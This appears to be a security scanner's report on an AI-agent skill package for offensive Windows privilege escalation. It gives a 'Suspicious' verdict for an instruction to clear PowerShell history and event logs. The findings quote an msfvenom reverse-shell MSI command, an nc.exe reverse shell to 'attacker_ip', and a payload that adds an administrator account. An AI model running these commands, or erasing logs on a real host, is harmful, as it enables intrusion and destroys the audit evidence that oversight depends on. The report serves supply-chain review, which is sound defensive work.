Skill

offensive-windows-privesc

skill:snailsploit/claude-red#offensive-windows-privesc

Comprehensive Windows privilege escalation methodology for offensive security engagements. Covers the full attack surface from a standard user shell to NT AUTHORITY\SYSTEM: token impersonation via SeImpersonate and SeAssignPrimaryToken privileges using JuicyPotato, PrintSpoofer, GodPotato, SweetPotato, and RoguePotato; service misconfigurations including unquoted service paths, weak service DACLs, writable service binaries, and insecure service creation permissions; AlwaysInstallElevated MSI exploitation; DLL hijacking through search order abuse, phantom DLL loading, and writable PATH directory injection; UAC bypass techniques via fodhelper.exe, eventvwr.exe, CMSTP, and environment variable manipulation; scheduled task abuse for writable task actions and new task creation; registry autorun exploitation for persistence and escalation; PrintNightmare (CVE-2021-34527) for remote and local privilege escalation; and credential harvesting from SAM database extraction, DPAPI blob decryption, LSA secret dumping, and

SkillsMP

Verdict

Suspicious

Risky behavior the analysis could not rule out.

Analyzed Oct 27, 2026, 23:44 UTC at a8de813

findings

high

highest severity

threat classes

files scanned

77/102

checks satisfied

package advisories

Why this verdict

suspicious: finding skill:Skills/privesc/offensive-windows-privesc:Skills/privesc/offensive-windows-privesc/SKILL.md:559:DESTRUCT

Security findings 1

Destructive action

highContextual riskmedium confidence

The engagement cheatsheet instructs the agent to clear PowerShell history and Windows event logs on the target, an anti-forensics action that destroys audit evidence and is not part of the declared escalation methodology.

Skills/privesc/offensive-windows-privesc/SKILL.md:559

Clear PowerShell history and event logs (if authorized)

vector:instruction

Counter-argument considered

Clearing PowerShell history and event logs is anti-forensic destruction of target audit evidence: it is not the declared escalation/enumeration capability, appears nowhere in the frontmatter, contradicts the declared defender-visibility purpose, and no carve-out covers destruction of audit logs, so the finding stands.

Open questions 8

What the analysis could not settle from the code alone.

No authorization, scoping, or consent check appears anywhere in the shown content, so whether these offensive instructions would be applied only to authorized engagement targets cannot be verified from the artifact.

[file request Skills/privesc/offensive-windows-privesc/winPEASx64.exe] Does the artifact ship the winPEASx64.exe binary invoked by '.winPEASx64.exe' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/SharpUp.exe] Does the artifact ship the SharpUp.exe binary invoked by '.SharpUp.exe audit' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/Seatbelt.exe] Does the artifact ship the Seatbelt.exe binary invoked by '.Seatbelt.exe -group=all' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/beRoot.exe] Does the artifact ship the beRoot.exe binary invoked by '.beRoot.exe' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/SharpPrintNightmare.exe] Does the artifact ship the SharpPrintNightmare.exe binary invoked by '.SharpPrintNightmare.exe' in the PrintNightmare section, and if so is it the official build or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/PowerUp.ps1] Does the artifact ship the PowerUp.ps1 module invoked by 'Import-Module .//PowerUp.ps1' in the Automated Enumeration section, and if so is it the unmodified official script or does it contain added behavior?

Supply chain

[file request Skills/privesc/offensive-windows-privesc/CVE-2021-34527.ps1] Does the artifact ship the CVE-2021-34527.ps1 PoC invoked by 'Import-Module .//CVE-2021-34527.ps1' in the PrintNightmare section, and if so is it the unmodified public PoC or does it contain added behavior?

Supply chain

Refuted findings 5

Candidates the review stage examined and rejected, kept for transparency.

Code execution

criticalRefutedlow confidence

The skill instructs the agent to generate an msfvenom reverse-shell MSI and silently install it via msiexec under the AlwaysInstallElevated configuration, executing attacker code with SYSTEM privileges.

Skills/privesc/offensive-windows-privesc/SKILL.md:184

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f msi -o escalate.msi

Why it was refuted

Generating an msfvenom MSI and silently installing it is exactly the 'AlwaysInstallElevated MSI exploitation' technique the frontmatter declares for this authorized-pentest skill, and it is a canonical documented payload in security-education material, so the harm and undeclared gates fail on the carve-out.

Code execution

criticalRefutedlow confidence

The PrintNightmare section instructs the agent to build and load a DLL whose DllMain executes system commands as SYSTEM to create user 'hacker' with a known password and add it to the local administrators group on the target host.

Skills/privesc/offensive-windows-privesc/SKILL.md:415-421

system(

Why it was refuted

The DllMain add-admin payload is the canonical documented demonstration for the explicitly declared PrintNightmare (CVE-2021-34527) escalation capability, and the skill's declared goal includes reaching local Administrator, so the harm and undeclared gates fail on the carve-out.

Code execution

criticalRefutedlow confidence

The skill's exploitation recipes instruct the agent to run potato-family/service/UAC/scheduled-task escalation commands whose example payloads attach a reverse shell (nc.exe) to attacker_ip:4444, handing a SYSTEM-level shell to a remote host.

Skills/privesc/offensive-windows-privesc/SKILL.md:66

nc.exe attacker_ip 4444 -e cmd.exe

Why it was refuted

Every technique listed (potato family, service DACL abuse, UAC bypass, scheduled task creation) is declared verbatim in the frontmatter and the nc.exe reverse-shell examples are the canonical documented payloads in security-education material, so the harm and undeclared gates fail on the carve-outs.

Supply chain

highRefutedhigh confidence

SKILL.md's Automated Enumeration section instructs the agent to run 'Import-Module .PowerUp.ps1' from a relative path that the repository does not ship, so at runtime the command imports and executes unreviewable content from whatever exists at that path.

Skills/privesc/offensive-windows-privesc/SKILL.md:36

Import-Module .

Why it was refuted

The import is the standard invocation of PowerUp, a tool whose integration the frontmatter explicitly declares and whose official source the skill's references point to, so this is declared core tooling in security-education material rather than an undeclared supply-chain vector; the finding's unshipped-file premise is additionally unverified by any shown evidence.

Supply chain

highRefutedhigh confidence

SKILL.md's PrintNightmare section instructs the agent to run 'Import-Module .CVE-2021-34527.ps1' from a relative path that the repository does not ship, so at runtime the import executes unreviewable code from whatever exists at that path before Invoke-Nightmare is invoked.

Skills/privesc/offensive-windows-privesc/SKILL.md:400

Import-Module .

Why it was refuted

Importing the PowerShell PoC is the documented usage for the explicitly declared 'PrintNightmare (CVE-2021-34527) for remote and local privilege escalation' capability of this authorized-pentest skill, so the harm and undeclared gates fail on the carve-out.